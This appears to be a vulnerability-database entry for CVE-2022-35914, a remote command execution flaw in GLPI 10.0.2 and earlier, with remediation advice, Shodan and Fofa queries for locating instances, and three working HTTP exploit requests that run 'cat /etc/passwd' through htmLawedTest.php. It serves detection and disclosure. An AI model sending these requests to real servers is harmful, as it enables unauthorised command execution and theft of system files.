🔙 목록으로 돌아가기

CVE-2022-35914: GLPI <=10.0.2 - Remote Command Execution

TitleGLPI <=10.0.2 - Remote Command Execution
AuthorFor3stCo1d,allendemoura
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
RemediationUpgrade GLPI to a version higher than 10.0.2 to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94395
CVE IDCVE-2022-35914
CWE IDCWE-74
Shodan Queryhttp.favicon.hash:"-1474875778"http.title:"glpi"
Fofa Queryicon_hash="-1474875778"title="glpi"
Tags cve cve2022 glpi rce kev glpi-project vkev vuln

🔍 Vulnerability Description

GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.

🌐 HTTP Request

POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.16
Connection: close
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Cookie: sid=foo
Accept-Encoding: gzip

sid=foo&hhook=exec&text=cat+/etc/passwd
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Cookie: sid=foo
Accept-Encoding: gzip

sid=foo&text=system&hfoo=cat+/etc/passwd&hhook=array_map
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Connection: close
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
Cookie: sid=foo
Accept-Encoding: gzip

sid=foo&text=passthru&hfoo=cat+/etc/passwd&hhook=array_map

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-35914.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-35914.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A